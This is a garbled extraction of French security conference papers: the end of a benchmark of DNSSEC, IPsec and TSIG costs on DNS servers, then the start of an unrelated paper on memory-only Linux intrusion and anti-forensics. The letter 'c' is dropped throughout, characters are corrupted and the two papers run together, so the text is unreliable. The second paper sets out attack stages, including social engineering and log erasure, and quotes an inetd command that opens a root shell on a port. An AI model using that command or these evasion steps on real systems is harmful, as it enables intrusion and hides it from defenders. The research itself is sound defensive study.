lients qui interagissent de façon asyn
hrone ave
 les serveurs DNS, de manière à étudier leur 
om-

portement dans un environnement réseau. Les paramètres regardés attentivement seront le taux

de réponses 
orre
tes et la 
harge CPU dans le 
as d'une sur
harge. Par la suite des tests sur un

serveur et sur l'ensemble de la plateforme seront faits.

5.1 Coût CPU et taux de réponses 
orre
tes en mode mono - serveur

L'obje
tif de 
e test est de mettre en éviden
e la 
apa
ité maximale de traitement d'un ser-

veur de nom, et de quanti�er l'impa
t des 
on�gurations de sé
urité sur les serveurs DNS. Chaque


on�guration met en éviden
e un point de rupture 
orrespondant à un nombre de requêtes à partir

duquel le serveur ne sera plus 
apable d'e�e
tuer la moindre opération. On parlera alors de point

de rupture ma
hine. L'Illustration 3 met en éviden
e 
e point de rupture en traçant la 
harge CPU

en fon
tion du nombre de requêtes envoyées.

Le graphe met alors deux valeurs de point de rupture ma
hine selon les 
on�gurations de sé
urité.

Les 
on�gurations implémentant (DNSSEC + IPse
) et (DNS + IPse
) montent jusqu'à 100% CPU

alors que les 
on�gurations DNSSEC et DNS n'atteignent que 90% CPU. Ainsi, la mise en pla
e

d'IPse
 peut mettre la ma
hine en sur
harge, voir la rendre indisponible, non seulement pour le

servi
e DNS, mais également pour les autres fon
tionnalités.

Le graphe montre également qu'en 
harge au niveau 
onsommation de temps CPU pour un même

nombre de requêtes, les 
oûts des di�érents mé
anismes de sé
urité sont les suivants : DNS <
DNSSEC < (DNS+IPse
) < (DNSSEC + IPse
). En e�et, il apparaît alors que la 
on�guration

DNSSEC en 
harge est moins 
onsommatri
e en ressour
es CPU. Ce
i s'explique 
ar un 
ontexte
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Fig. 3. Charge CPU fon
tion de nombre de requêtes, en fon
tion des di�érentes 
on�gurations DNS, (DNS
+ IPse
 ), DNSSEC, ( DNSSEC + IPse
)

IPse
 implique une opération de 
hi�rement, qui pour des tests unitaires est moins 
onsomma-

tri
e que la gestion d'un 
ontexte DNSSEC, mais qui par 
ontre ave
 une 
roissan
e du nombre de


ontextes, et don
 une gestion de 
es derniers, s'avère plus 
onsommatri
e.

Toutefois, avant d'arriver à la saturation du serveur en tant que ma
hine, on passe par un état

intermédiaire qui 
orrespond à une rupture du servi
e DNS. Ce point de rupture a lieu à partir du

moment où le serveur n'est plus 
apable de répondre à toutes les requêtes qui lui sont envoyées.

On parlera dans 
e 
as de point de rupture servi
e. L'Illustration 4 met en éviden
e 
es points de

rupture servi
e sur 
ha
une des 
on�gurations testées.

Dans 
es tests le 
lient envoie des requêtes dire
tement sur le serveur dnsse
1 (le 
a
he - forwarder

n'est pas utilisé).

L'Illustration 3 montre que pour les 
on�gurations IPse
 les niveaux de 
harge peuvent atteindre

100% alors qu'elle n'atteint que 90% pour les autres 
on�gurations. On 
onsidère alors qu'un ser-

veur 
ommen
e à être sur
hargé à 90% de son niveau de 
harge maximale soit 90% CPU dans le

premier 
as et 81% CPU dans le deuxième 
as. La position de point 
ritique sur 
e deuxième graphe

dépend également de 
on�guration (voir Tableau5).

Con�guration DNS (DNS + IPse
) DNSSEC (DNSSEC + IPse
 )

Point de rupture à 90% (90%

de la 
harge maximale au

point de rupture ma
hine)

3000 2000 1800 1500

Coût de la sé
urité 0% +33% +40% +50%

Tab. 5. Les points de sur
harge CPU pour un serveur dans les di�érentes 
on�gurations
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Fig. 4. Nombre de bonnes réponses fon
tion de nombre de requêtes, selon les di�érentes 
on�gurations

DNS, (DNS + IPse
 ), DNSSEC, ( DNSSEC + IPse
)

Le Tableau 6 permet alors d'évaluer en termes de requêtes la 
harge maximale supportée par

les serveurs DNS selon di�érentes 
on�gurations. Ce tableau 
on�rme le 
oût supérieur en période

de 
harge d'IPse
 par rapport à DNSSEC.

L'illustration 4 met en éviden
e que pour des petites valeurs de la 
harge, le nombre de réponses est

égal au nombre de requêtes pour toutes les 
on�gurations. Pour des valeurs plus grandes, le graphe

n'est plus linéaire. Le point de rupture servi
e 
orrespond au taux de requêtes maximal que le ser-

veur est 
apable de traiter 
orre
tement. La position du point 
ritique dépend de la 
on�guration

et est résumée dans le Tableau 5.

Con�guration DNS DNSSEC (DNS + IPse
) (DNSSEC + IPse
 )

Point de rupture servi
e 3000 2500 2000 1500
Coût de la sé
urité 0 +17% +33% +50%

Tab. 6. La 
apa
ité maximale de traitement pour un serveur de noms dans les di�érentes 
on�gurations

Ainsi, l'évaluation des di�érentes 
on�gurations de sé
urité montre que le proto
ole DNSSEC

est plus robuste qu'IPse
 lors d'une situation de 
harge, Ainsi DNSSEC semble 
oûter deux fois

moins 
hère qu'IPse
 en terme de nombre maximal de requêtes DNS traitées.

5.2 Coût CPU et taux de réponses 
orre
tes en mode plateforme

Il s'agit toujours d'un test en 
harge, 
ette fois-
i l'objet du test étant la plateforme. Le 
lient

développé en Java envoie des requêtes à destination de la plateforme en utilisant 
omme point
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intermédiaire un relais.

Lors de 
e test, le relais devient un goulot d'étranglement. Pour un taux de requêtes réduit, il gère

bien le pro
essus de résolution (près de 100%). Pour des taux plus élevés, il é
houe de temps en

temps pendant le pro
essus de résolution en envoyant des réponses de type SERVFAIL à son 
lient

ou il rejette dire
tement la requête et il n'envoie plus de réponses. Le 
lient devrait distinguer

maintenant parmi les réponses qu'il reçoit entre les messages 
orre
tes (NO ERROR) et les messages

d'erreur (SERVFAIL).

Pour les tests des 
on�gurations utilisant DNSSEC, il y a deux possibilités : le 
lient peut dé
ider

de demander au relais de ne pas faire une véri�
ation de signature ou le laisser faire (option par

défaut). La première option peut être spé
i�ée en mettant le bit CD (Che
king Disable) à 1 dans

la requête. Au lieu de quatre types de tests à faire, maintenant il y en a six 
ar six 
ombinaisons

possibles.

Fig. 5. Nombre de réponses 
orre
tes en fon
tion de nombre de requêtes, des 
on�guration et de la véri�-


ation ou non de signatures DNS (C), (DNS + IPse
) (F), (DNSSEC + IPse
) ave
 véri�
ation de signature
(I), (DNSSEC + IPse
) sans véri�
ation de signature (M), DNSSEC ave
 véri�
ation de signature (Q), et

DNSSEC sans véri�
taion de signature (T).

Tout 
omme dans le test antérieur, le graphe Nombre de Réponses 
orre
tes en fon
tion de

Nombre de Requêtes (Illustration 5) fait ressortir un point de rupture par 
on�guration étudiée.

Les positions de 
es points sont visibles dans le Tableau 7.

Le 
lassement sur le 
oût de la sé
urité que fait apparaître la 
omparaison du taux de réponse


orre
tes / le nombre de requêtes envoyées est le suivant : DNS < (DNS+IPse
) < (DNSSEC
sans véri�
ations) < (DNSSSEC ave
 véri�
ations) < (DNSSEC sans véri�
ations + IPse
 ) <
(DNSSEC ave
 véri�
ations + IPse
). Les valeurs qui apparaissent dans le tableau peuvent pa-

raître surprenantes à un premier regard, par rapport à 
elles trouvée lors des tests mono serveurs.

La baisse de performan
es dans le 
as de la plateforme est très importante si on sé
urise le proto
ole

DNS. Les nombres de requêtes résolues 
orre
tement sont beau
oup plus petits que les valeurs qui

apparaissent dans le test d'un serveur individuel. Cette situation s'explique par le fait que le relais
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Con�g. DNS (DNS
+
IPse
)

DNSSEC

(ave
 véri-

�
ation de

signature)

DNSSEC

(sans véri-

�
ation de

signature)

(DNSSEC
+ IPse
)
(ave
 véri-

�
ation de

signature)

(DNSSEC
+ IPse
)
(sans véri-

�
ation de

signature)

Nombre maximal

de requêtes répon-

dues 
orre
tement

1000 700 400 450 300 400

Coût de la sé
urité 0 +30% +60% +55% +70% +60%

Tab. 7. Capa
ité maximale de traitement de requêtes par une plateforme - test en 
harge de la plateforme

qui se 
harge de la résolution des requêtes ouvre des 
ontextes et pro
ède à des véri�
ations de

signatures (si on lui le demande). Il devient vite sur
hargé, beau
oup plus vite que le reste des

serveurs de l'ar
hite
ture.

Fig. 6. La 
harge CPU du relais en fon
tion du nombre de requêtes, des 
on�guration et de la véri�
ation

ou non de signatures DNS (B), (DNS + IPse
) (D), (DNSSEC + IPse
) ave
 véri�
ation de signature

(F), (DNSSEC + IPse
) sans véri�
ation de signature (I), DNSSEC ave
 véri�
ation de signature (L), et

DNSSEC sans véri�
taion de signature (P).

Vu le graphe dans l'Illustration 6 et en faisant un raisonnement similaire à 
elui du test pré
é-

dent, il devient 
lair que les valeurs du nombre maximal de requêtes répondues 
orre
tement dans


haque 
on�guration 
orrespondent bien à des régimes de sur
harge pour le relais. Ce test met

en éviden
e l'importan
e de la prise en 
ompte de l'ar
hite
ture dans son ensemble. Dans 
e 
as

parti
ulier, il y a un goulot d'étranglement : le relais.

Les tests en 
harge ont né
essité le développement d'un outil spé
i�que. Ils ont mis en éviden
e

le fait que les relais DNS sont des véritables goulots d'étranglement dans l'ar
hite
ture et que, si
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on veut sé
uriser le proto
ole DNS, 
ela va alourdir en
ore plus leur situation 
e qui engendrera

des 
hutes de performan
es importantes. Lors de tests, il ne su�t pas de se 
ontenter d'étudier les

serveurs DNS primaires. Il faudrait prendre en 
ompte la totalité des éléments, notamment les relais.

6 Impa
t de la sé
urité sur les temps de mise à jour

Mis à part les paramètres déjà vus dans les tests antérieurs, un élément jugé important dans le

pro
essus de 
hoix de la démar
he pour sé
uriser le proto
ole DNS est le temps de mise à jour des

données hébergées par les DNS. Ce paramètre peut être dé�ni 
omme la durée de temps é
oulée

entre le moment où la mise à jour a été demandée et le moment où elle devient e�e
tive, i.e. visible

dans les réponses des serveurs.

Dans nos tests le serveur maître met à jour son �
hier de zone et noti�e ensuite l'es
lave des 
hange-

ments produits. Celui-
i ré
upère 
es 
hangements et les intègre à son tour dans sa 
opie de �
hier

de zone. Les deux redeviennent ainsi syn
hronisés. Le logi
iel utilisé pour faire des mises à jour

(respe
tant la rf
2136 [34℄) est nsupdate qui vient ave
 la distribution BIND 9.3.1.

Les tests seront e�e
tués sur des 
on�gurations DNS, (DNS+IPse
), (DNS+TSIG) et DNSSEC.

TSIG utilise des 
lefs symétriques partagées pour signer des messages et authenti�er de 
ette ma-

nière le 
lient qui met à jour et l'es
lave auprès du serveur maître. Le mé
anisme TSIG est géné-

ralement utilisé pour sé
uriser les transa
tions entre les serveurs. En e�et, il n'est pas envisageable

de passer à l'é
helle un tel mé
anisme, et de l'implémenter dans le 
adre de 
onsultations 
lient, où


haque 
lient serait authenti�é par une 
lé symétrique.

Le test 
onsiste à envoyer des 
ommandes d'e�a
ement pour N objets de type AAAA (IPv6) qui

existe dans la zone et ensuite à envoyer des 
ommandes pour la suppression des N objets supprimés.

Deux variantes sont possibles : envoyer toutes les 
ommandes d'un même type d'un 
oup, ou par

plusieurs appels à la fon
tion nsupdate. Après l'envoi des N 
ommandes de suppression, on lan
e

la 
ommande dig pour véri�er que toutes les suppressions ont été faites. Si on suppose que les


ommandes de mise à jour sont e�e
tuées dans l'ordre de présentation au serveur, il su�t d'envoyer

juste une requête ayant 
omme objet le N ime
objet à supprimer. Si la réponse n'est pas NXDOMAIN,


ela signi�e que l'objet existe en
ore et la requête dig est répétée. La pro
édure est la même pour

l'ajout, à la di�éren
e que l'appel à la fon
tion dig sera répété tant qu'on n'obtient pas de réponse

NO ERROR. En pratique notre hypothèse de travail selon laquelle les mises à jour s'e�e
tuaient dans

l'ordre a été validé en utilisant un deuxième test plus 
oûteux qui 
onsistait à observer la présen
e

de tous les N objets (au lieu de un seul le N ime
).

Les Illustrations 7 et 8, montrent le fait que les di�éren
es entre les temps de mise à jour (suppres-

sion) dans les trois 
on�gurations basées DNS ne sont pas signi�
atives ni pour le serveur maître ni

pour le serveur es
lave. Pour le serveur es
lave il y a un retard de 0.5 se
ondes par rapport au maître.

Pour l'ajout des enregistrements, les valeurs de temps de mise à jour sont à peu près les mêmes

que dans le 
as de la suppression et 
onsidérons que 
e n'est pas important de les présenter.

En revan
he, ave
 l'utilisation de DNSSEC (voir Illustration 9), il apparaît une grande di�éren
e

entre les performan
es de la plateforme par rapport aux 
on�gurations DNS mais aussi entre les

temps de la suppression et 
es de l'ajout pour 
ette même 
on�guration DNSSEC. Pour un test de

1000 enregistrements, il y a un fa
teur de multipli
ation de 15 pour le temps de suppression et 75
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Fig. 7. Temps (en se
ondes) de mise à jour (suppression) du serveur maître en fon
tion du nombre de


ommandes dans le 
as d'un seul appel nsupdate. DNS (rouge), (DNS + IPse
) (vert), (DNS + TSIG)
(violet)

pour l'ajout. Ces fa
teurs augmentent ave
 le nombre d'enregistrements 
on
ernés.

L'expli
ation 
onsiste dans le fait que le serveur DNSSEC doit signer de nouveau des enregistre-

ments de la zone (tels que 
eux de type NSEC) 
haque fois qu'un 
hangement est fait. L'e�ort est

d'autant plus important dans le 
as de l'ajout 
ar il faut signer aussi les enregistrements ajoutés.

Fig. 8. Temps (en se
ondes) de mise à jour (suppression) du serveur es
lave en fon
tion du nombre de


ommandes dans le 
as d'un seul appel nsupdate. DNS (rouge), (DNS + IPse
) (vert), (DNS + TSIG)
(violet)
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Fig. 9. Temps (en se
ondes) de mise à jour (suppression/ajout) du serveur maître en fon
tion du nombre

de 
ommandes dans le 
as d'un seul appel nsupdate dans le 
as d'une 
on�guration DNSSEC, suppression

(D), ajout (G)

7 Con
lusion

Ces tests ont montré que la sé
urité a un impa
t non négligeable sur les performan
es du système

de nommage. Des paramètres tels que : le temps de réponse d'un serveur/une plateforme, la 
apa
ité

maximale de traitement de requêtes pour un serveur/une plateforme et le temps de mise à jour des

serveurs sont à prendre en 
ompte lors du 
hoix de 
e type d'ar
hite
ture.

TSIG s'est avéré assez peu 
oûteux lors de nos tests de mise à jour et il semble adapté pour sé
uriser

les transa
tions entre les serveurs. Assez simple à 
on�gurer, TSIG ne permet que d'o�rir une

garantie d'intégrité, et d'authenti�
ation. Il né
essite une 
on�guration spé
i�que et manuelle, entre

les entités impliquées auxquelles on attribue une 
lé symétrique. Au
un proto
ole de négo
iation

n'est envisageable, et le passage à l'é
helle de TSIG semble pros
rit. IPse
 par 
ontre permet d'o�rir

un servi
e d'intégrité et d'authenti�
ation des données. Il dispose d'un mé
anisme de négo
iation

de 
lefs (IKE). Une fois le tunnel établi, son 
oût est 
omparable à 
elui de TSIG. DNSSEC par


ontre, ne semble pas du tout adapté à des besoins de mises à jour fréquentes.

En 
e qui 
on
erne le temps de réponse d'une ar
hite
ture peu 
hargée, la solution DNS + IPse


est meilleure par rapport à la solution DNSSEC. Rien d'étonnant, (DNSSEC+IPse
) est la pire en
terme de dégradation de performan
es.

Pour la 
apa
ité de traitement de requêtes par un serveur de nom, la solution DNSSEC est meilleure

que (DNS + IPse
). Par 
ontre, quand il s'agit d'un test de plateforme, les performan
es 
hutent

plus rapidement dans le 
as de la 
on�guration DNSSEC.

Ces tests on porté sur des te
hnologies permettant de sé
uriser le lien entre un nom de domaine et

une adresse IP. DNSSEC permet d'assurer l'authenti�
ation des sour
es des enregistrements DNS

et leur intégralité tandis que TSIG et IPse
 permet d'authenti�er le partenaire lors d'un é
hange

de messages. IPse
 propose également un servi
e de 
on�dentialité de données.

Pour aller en
ore plus loin et sé
uriser le lien entre une adresse IP et une adresse Ethernet, SEND

est un 
hoix possible. Dans le 
as de l'utilisation d'IPse
, les adresses IP peuvent être authenti�ées.

Par 
ontre il est né
essaire de sé
uriser le lien entre la 
ou
he IP et la 
ou
he Ethernet, sans quoi

même ave
 la bonne adresse IP, il est impossible de garantir que le h�te qui reçoit le paquet est bien

le h�te désiré. SEND et IPse
 permettent de sé
uriser les niveaux 2 et 3 du modèle ISO/OSI [32℄.
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8 Remer
iements

Les auteurs tiennent à remer
ier tout parti
ulièrement Jean Mi
hel Combes, pour ses 
onseils

et ses remarques pertinentes.
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Résumé Les intrusions informatiques sont de plus en plus répandues aujourd'hui. Et plus le

temps passe, plus elles évoluent. Si il y a une dizaine d'années, les attaquants ne s'inquiétaient

pas beau
oup de laisser des tra
es sur les systèmes, 
e n'est plus le 
as aujourd'hui. De plus

en plus de méthodes utilisées lors d'une intrusion tentent de ne rien é
rire sur le système


ompromis. Cet arti
le est un petit état de l'art des di�érentes te
hniques permettant de

n'utiliser que la mémoire du système lors d'une intrusion. Les 
on
epts de remote userland

exe
ve, sys
all proxy et remote library inje
tion sont expliqués i
i. Le logi
iel Plato développé

dans le 
adre de 
et arti
le sera également présenté à la �n de l'arti
le. Plato apporte une

amélioration dans les te
hniques anti-forensi
s sous Linux permettant de ne rien é
rire sur le

disque lors d'une intrusion informatique.

1 Introdu
tion

De tous les grands philosophes gre
s, il faut en retenir au moins deux : Platon et Aristote.

Depuis plus de 2000 ans, notre monde est sujet à une bataille sans �n entre les idées de 
es deux

grands philosophes. Pour le premier, 
e qui est perçu tous les jours n'est que le re�et de la réalité.

Selon lui la réalité est à 
her
her autre part, là haut, où notre esprit joue un r�le important. C'est

le monde des idées. Pour le se
ond, Aristote, 
'est tout le 
ontraire. La réalité est bien le monde

matériel qui est vu tous les jours, le monde d'en bas, a

essible à nos 5 sens.

Que viennent faire deux philosophes dans un arti
le de sé
urité ? C'est simple. Dans le monde

a
tuel tel qu'il est perçu, personne ne sait en
ore très bien où se trouve la réalité (et les ré
entes

dé
ouvertes en mé
anique quantique sèment en
ore plus le doute). Dans un système d'exploitation

moderne, la réalité d'un système d'exploitation est évidente : 
'est 
e qui est présent en mémoire

vive. Une fois le système en mar
he, il est possible de 
réer, supprimer ou même e�a
er des �
hiers.

Rien n'y 
hangera, le système est déjà 
hargé en mémoire.

Et 
'est là le plus important. Le système, le noyau ou en
ore les appli
ations utilisateurs de

type serveur qui sont en exé
ution, sont tous en mémoire. Il est souvent 
ourant de l'oublier, mais

il est inutile de garder l'intégrité des �
hiers sur le disque si lorsqu'ils sont 
hargés en mémoire,

plus au
un 
ontr�le n'est e�e
tué. Alors que 
'est à 
et instant pré
is que le système devient le plus

vulnérable. La tendan
e aujourd'hui du 
�té des � mé
hants � est d'agir au niveau de la mémoire

et de ne jamais rien é
rire sur le disque, de manière à rester le plus dis
ret possible tout en ayant

un 
ontr�le total sur le système exploité. La réplique des � gentils � ne s'est pas fait attendre, de

plus en plus de te
hniques forensi
s se fo
alisent aujourd'hui sur l'analyse de la mémoire vive.

Ainsi, les te
hniques des attaquants, pour n'utiliser que la mémoire vive lors d'une attaque, ont


onsidérablement évolué 
es dernières années. Au point qu'il est maintenant possible de ne plus



331

jamais tou
her au disque dur lors d'une intrusion informatique. C'est pré
isément 
e sujet qui sera

traité, une grande partie de 
es te
hniques vont être présentées. Après avoir expliqué leurs qualités

et leurs défauts, un s
héma d'attaque fon
tionnel sous Linux n'utilisant que la mémoire vive sera

proposé. Cependant au
un joli 
ode sour
e dans 
et arti
le ou sur une page web quel
onque ne sera

fourni. Le but n'est pas de propager en
ore plus de logi
iels malveillants qu'il n'y en a déjà, mais

plut�t de bien faire prendre 
ons
ien
e aux le
teurs de l'importan
e de la mémoire vive dans le

monde de la sé
urité informatique d'aujourd'hui.

2 Une intrusion informatique

2.1 Les di�érentes étapes lors d'une attaque

Lors d'une attaque d'un système par un attaquant (un vrai � pirate �, pas un s
ript kiddie),

plusieurs étapes (au nombre de 5) sont réalisées a�n qu'il puisse obtenir le 
ontr�le total du système

qu'il vise :

1. Ré
olter des informations

2. Attaque et pénétration

3. Augmentation des privilèges si né
essaire

4. Installation d'une ba
kdoor

5. E�a
er les tra
es

Peu importe le système visé, 
es étapes seront toujours les mêmes, 
ertaines étant plus 
ritiques

que d'autres dans le sens où elles vont générer automatiquement des é
ritures sur le disque visé.

C'est pré
isément 
e qui va être évité par la suite.

Ré
olter des informations Lors de 
ette première étape, la tâ
he de l'attaquant est de ré
olter

un maximum d'informations sur la 
ible visée. Les informations re
ueillies peuvent provenir prin
i-

palement de trois sour
es di�érentes.

La première sour
e, et la plus évidente, est la sour
e humaine. Pour obtenir des informations

sur sa 
ible, l'attaquant peut utiliser la te
hnique bien 
onnue du So
ial Engineering. Elle 
onsiste

à soutirer des informations auprès des personnes pro
hes de l'entreprise ou détenant des infor-

mations sur 
elle-
i (par exemple les employés travaillant pour l'entreprise visée). Si la 
ible est

un parti
ulier, un envoi de mail à 
elui-
i peut permettre d'obtenir des informations pertinentes

(l'utilisation d'une boîte mail ave
 webmail dans un pays étranger permettra de garder l'anonymat).

La deuxième sour
e est le world wide web. Cette sour
e est parfois négligée, mais permet en

général d'obtenir une foule de renseignements sur la 
ible. Cependant pour ne pas se disperser dans

sa re
her
he, il est fondamental de bien la 
ibler. Une bonne 
onnaissan
e des mots 
lés de Google

(qui reste malheureusement pour nous européens le moteur de re
her
he le plus e�
a
e ... don
 in-


ontournable) est fondamental. Des moteurs spé
ialisés dans 
ertains types d'informations peuvent

également être utilisés pour obtenir des informations utiles : le status d'une entreprise ou en
ore la


omposition de son 
onseil d'administration par exemple. Une fois les membres du 
onseil 
onnu,
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la te
hnique du So
ial Engineering peut être utilisée à nouveau pour obtenir des informations sup-

plémentaires. Une bonne utilisation des mots 
lés de Google peut également permettre d'obtenir

des renseignements très intéressants sur le système visé, 
omme par exemple des �
hiers de mots

de passe. Un exemple d'ouvrage sur le sujet est 
elui de Johnny Long [13℄.

Il est important de noter que 
es deux types de re
her
he n'impliquent pas les systèmes informa-

tiques adverses. La 
ible ne peut pas se douter qu'elle est visée (du moins si le So
ial Engineering

est pratiqué 
orre
tement).

La dernière sour
e d'informations, et la plus utile pour l'attaquant, 
on
erne le réseau de l'en-

treprise visée. Pour obtenir des renseignements, les te
hniques de s
an de ports, de �ngerprinting,

et
 sont utilisées. Des paquets sont don
 envoyés et peuvent être sauvegardés par le système adverse

(
'était aussi le 
as ave
 l'envoi de mail pour le So
ial Engineering). La partie devient alors plus

dangereuse pour l'attaquant.

Les informations re
ueillies sont par exemple :

� Les di�érentes routes pour arriver aux ma
hines visées.

� Les ports ouverts, fermés ou �ltrés.

� Des informations provenant d'un serveur DNS (requêtes AXFR, requête inverse, ...).

� Les plages réseaux attribuées.

� Les versions des di�érents serveurs présents.

Attaque et pénétration Une fois les informations re
ueillies, l'attaquant sait pré
isément où il

doit agir pour obtenir un a

ès à la ma
hine adverse. En général, il 
ible un serveur tournant sur

la ma
hine adverse 
onnu pour avoir une faille de sé
urité et l'utilise à pro�t pour pénétrer sur le

système. Il s'agit d'exploitation.

Le terme exploitation en sé
urité informatique provient du fait qu'un attaquant pro�te d'une

faille de sé
urité dans un programme vulnérable a�n d'a�e
ter sa sé
urité. L'exploitation est réali-

sée à l'aide d'un programme appelé exploit. Typiquement, un exploit est utilisé soit en lo
al sur le

système vulnérable, soit à distan
e. En lo
al, il servira prin
ipalement à augmenter ses privilèges.

A distan
e, il permettra tout simplement d'a

éder à un système. Dans 
e 
as, l'exploit s'utilisera

le plus souvent 
ontre un programme de type serveur (serveur web, mail, ftp, ...) tournant sur 
e

système.

Parmi les failles les plus 
onnues, il existe (termes fran
isés) :

� un bu�er ou heap over�ow,

� un format string,

� une ra
e 
ondition.

D'après Ivan Ar
e [2℄, un exploit peut être divisé en trois parties : le ve
teur d'attaque, la te
hnique

d'exploitation et le payload. Le ve
teur d'attaque est le moyen pour dé
len
her le bug, par exemple

envoyer un 
ertain type de paquet à un serveur. La te
hnique d'exploitation est l'algorithme utilisé

pour modi�er le �ux de 
ontr�le du programme visé. La dernière partie, le payload n'est qu'une
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suite d'instru
tions exé
utées par le programme vulnérable une fois 
ontr�lé.

Les plus an
iens payloads permettaient simplement d'ajouter un utilisateur sur la ma
hine mais

il était né
essaire d'avoir un servi
e de type telnet sur 
elle-
i pour pouvoir utiliser 
e nouvel

utilisateur. Ensuite sont apparus des payloads ajoutant des servi
es réseaux au démon inetd :

e
ho 'ingreslo
k stream t
p nowait root /bin/sh sh -i' \ >>/tmp/bob ;

/usr/sbin/inetd -s /tmp/bob

Des shell
odes sont ensuite développés où l'idée est simplement d'obtenir dire
tement un shell

pour que l'attaquant puisse interragir ave
 le système qu'il 
ompromet. Il peut ainsi lan
er autant

de 
ommandes qu'il souhaite à partir de son shell. C'est i
i un premier élément intéressant dans

le 
adre de la 
orruption de la mémoire, 
ar au
un �
hier sur le disque n'est 
hangé ou 
réé. Par

rapport à la te
hnique du servi
e ajouté à inetd par exemple, au
un �
hier n'est 
réé dans /tmp,

réduisant 
onsidérablement les 
han
es d'être déte
té.

Au niveau implémentation, les shell
odes étaient é
rits auparavant dire
tement en assembleur

(et 
ertains le sont en
ore aujourd'hui), mais par la suite des te
hniques, permettant de les é
rire

dans des langages plus évolués 
omme le C ou le python, sont apparues.

Il n'est pas possible 
ependant d'exé
uter simplement une suite d'instru
tions qui va lan
er un

shell, il faut aussi que le shell arrive sur la ma
hine de l'attaquant. Ce dernier devra don
 
onnaître

la topologie du réseau qu'il attaque (�rewall ou pas ?) pour que le shell puisse lui revenir. Il s'agit

des shell
odes de type bind shell
ode, 
onne
t ba
k shell
ode et �ndso
ket shell
ode.

Un bind shell
ode est un shell
ode qui bind un shell sur un port. C'est à dire qu'un nouveau

port sur la ma
hine est ouvert et en se 
onne
tant à 
elui 
i, l'attaquant obtient un a

ès à un shell

sur la ma
hine exploitée.

Un 
onne
t ba
k shell
ode est un shell
ode qui établit une 
onnexion de la ma
hine attaquée vers

la ma
hine de l'attaquant. De 
ette manière, au
un port n'est ouvert sur la ma
hine en é
oute. Ce

type de shell
ode permet la plupart du temps d'outre-passer un �rewall qui bloque les 
onne
tions

entrantes sur des ports non autorisés.

Un �ndso
ket shell
ode quant à lui permet de réutiliser la so
ket ouverte utilisée lors de la


onnexion entre l'exploit et le serveur vulnérable. Quand un exploit tire parti d'une vulnérabilité

dans un serveur distant, il établit une 
onnexion à 
e serveur pour pouvoir prendre le 
ontr�le du

�ux d'exé
ution. Une 
onnexion est don
 
réée entre sa ma
hine et la ma
hine visée. L'idée est sim-

plement de réutiliser 
ette 
onnexion pour exé
uter un shell. Le grand avantage de 
ette te
hnique

est que l'attaquant utilise un 
anal de 
ommuni
ation 
onnu et fon
tionnel entre lui et la ma
hine

visée. Cette te
hnique ne 
rée don
 pas de nouvelle 
onnexion suspe
te.

Il sera question par la suite des nouveaux types de payloads avan
és 
omme 
eux 
réés à partir

de MOSDEF, de Inline-egg ou en
ore de Shellforge.

Augmentation de privilèges Une fois que l'attaquant a pris possesion du système visé, il peut

vouloir augmenter ses privilèges. Si le servi
e visé par exemple fon
tionne ave
 les droits d'un simple
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utilisateur, il est intéressant (sinon primordial) d'obtenir les droits du super utilisateur pour avoir

un 
ontr�le total de la ma
hine. Généralement, un exploit lo
al est utilisé 
ontre un programme

vulnérable. Dans le monde Unix, le programme vulnérable pourra être un programme ayant les

droits root ave
 le bit s (suid bit) mis ou bien le noyau lui-même.

Il faut noter que 
ette étape n'est pas tout le temps né
essaire. Il est possible en e�et que le

serveur vulnérable 
ompromis par l'attaquant ait déjà les droits du super utilisateur. Heureusement

(et malheureusement pour l'attaquant), 
e type de serveur se fait de plus en plus rare aujourd'hui.

Installation d'une ba
kdoor Une ba
kdoor est simplement un dispositif permettant de revenir

fa
ilement sur la ma
hine 
ompromise sans passer par toute la phase d'exploitation. Les ba
kdoors

peuvent aller du simple ajout d'un utilisateur, en passant par l'ajout d'un servi
e sur la ma
hine,

jusqu'à la modi�
ation d'un servi
e existant. Pour 
e dernier point, l'attaquant peut modi�er le

noyau, le pro
essus qui tourne en mémoire ou en
ore le binaire sur le disque. Il peut même modi�er

le BIOS (voir à 
e sujet les dernières re
her
hes ré
entes sur l'ACPI [4℄).

I
i, l'éventail des possibilités est énorme, mais il est intéressant de 
onstater que toutes les ba
k-

doors n'ont pas besoin d'être é
rites sur le disque. Tout dépend si l'attaquant modi�e le 
omporte-

ment d'un serveur en ba
kdoorant le binaire lui-même et en le relançant, ou s'il modi�e dire
tement

le pro
essus en mémoire.

E�a
er les tra
es La dernière étape pour un attaquant, juste avant de quitter la ma
hine, est

d'e�a
er ses tra
es. Les �
hiers de logs seront analysés pour y enlever toutes tra
es qui permettraient

de remonter jusqu'à l'attaquant. Si l'exploit agit par exemple 
ontre un serveur Apa
he, il y aura

des tra
es dans le �
hier a

ess.log. Si un �
hier a dû être 
opié sur le disque, l'attaquant devra

également e�a
er 
e �
hier de manière sé
urisée pour qu'il ne puisse être re
upéré par la suite (par

exemple ave
 la 
ommande shred sous Linux).

2.2 Intrusion tout en mémoire

Les di�érentes étapes qui viennent d'être présentées sont les étapes e�e
tuées lors d'une intru-

sion 
lassique. Quasiment à 
haque étape, des informations sont é
rites sur le disque de la ma
hine


ible. Au moment de ré
olter des informations, il peut y avoir par exemple un système de logs qui

loggue tous les paquets envoyés au système. Ainsi, si l'attaquant se 
onne
te à un port ou s'il envoie

un paquet SYN sur un port, une ligne de log est é
rite. Il est bien évident que si un tel système est

mis en pla
e, il est di�
ile voire impossible d'empê
her 
ela.

L'étape une n'étant pas le sujet de 
et arti
le, la suite se fo
alisera sur les étapes deux à quatre.

L'étape � attaque et pénétration � est la plus importante. C'est à 
et instant que l'attaquant utili-

sera un exploit. Comme mentionné plus t�t, un exploit 
omporte trois parties : le ve
teur d'attaque,

la te
hnique d'exploitation et le payload. Le ve
teur d'attaque et la te
hnique d'exploitation ne sont

pas expliqués i
i. Beau
oup d'arti
les sur le sujet ont déjà vu le jour, le le
teur désirant en savoir

plus sur le fon
tionnement d'un bu�er over�ow pourra trouver toute la do
umentation né
essaire

sur Internet. La partie la plus intéressante est la partie 
on
ernant l'é
riture et les fon
tionnalités

du payload, tout simplement par
e que 
'est au 
ours de 
ette étape que l'attaquant pourra e�e
tuer
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Fig. 1. Intrusion en mémoire, étape 2 à 4

l'a
tion qu'il souhaite sur la ma
hine exploitée.

Il faut noter aussi qu'aujourd'hui, les mots payload et shell
ode sont souvent utilisés pour signi-

�er la même 
hose. Historiquement, un shell
ode exé
utait un shell, mais aujourd'hui les shell
odes

sont devenus plus 
omplexes par né
essité : évasion hors d'un 
hroot, installation de ba
kdoor, exé-


ution de binaires à distan
e, élévation de privilèges et la liste n'est pas exhaustive.

A 
es fon
tionnalités s'ajoutent la notion de forensi
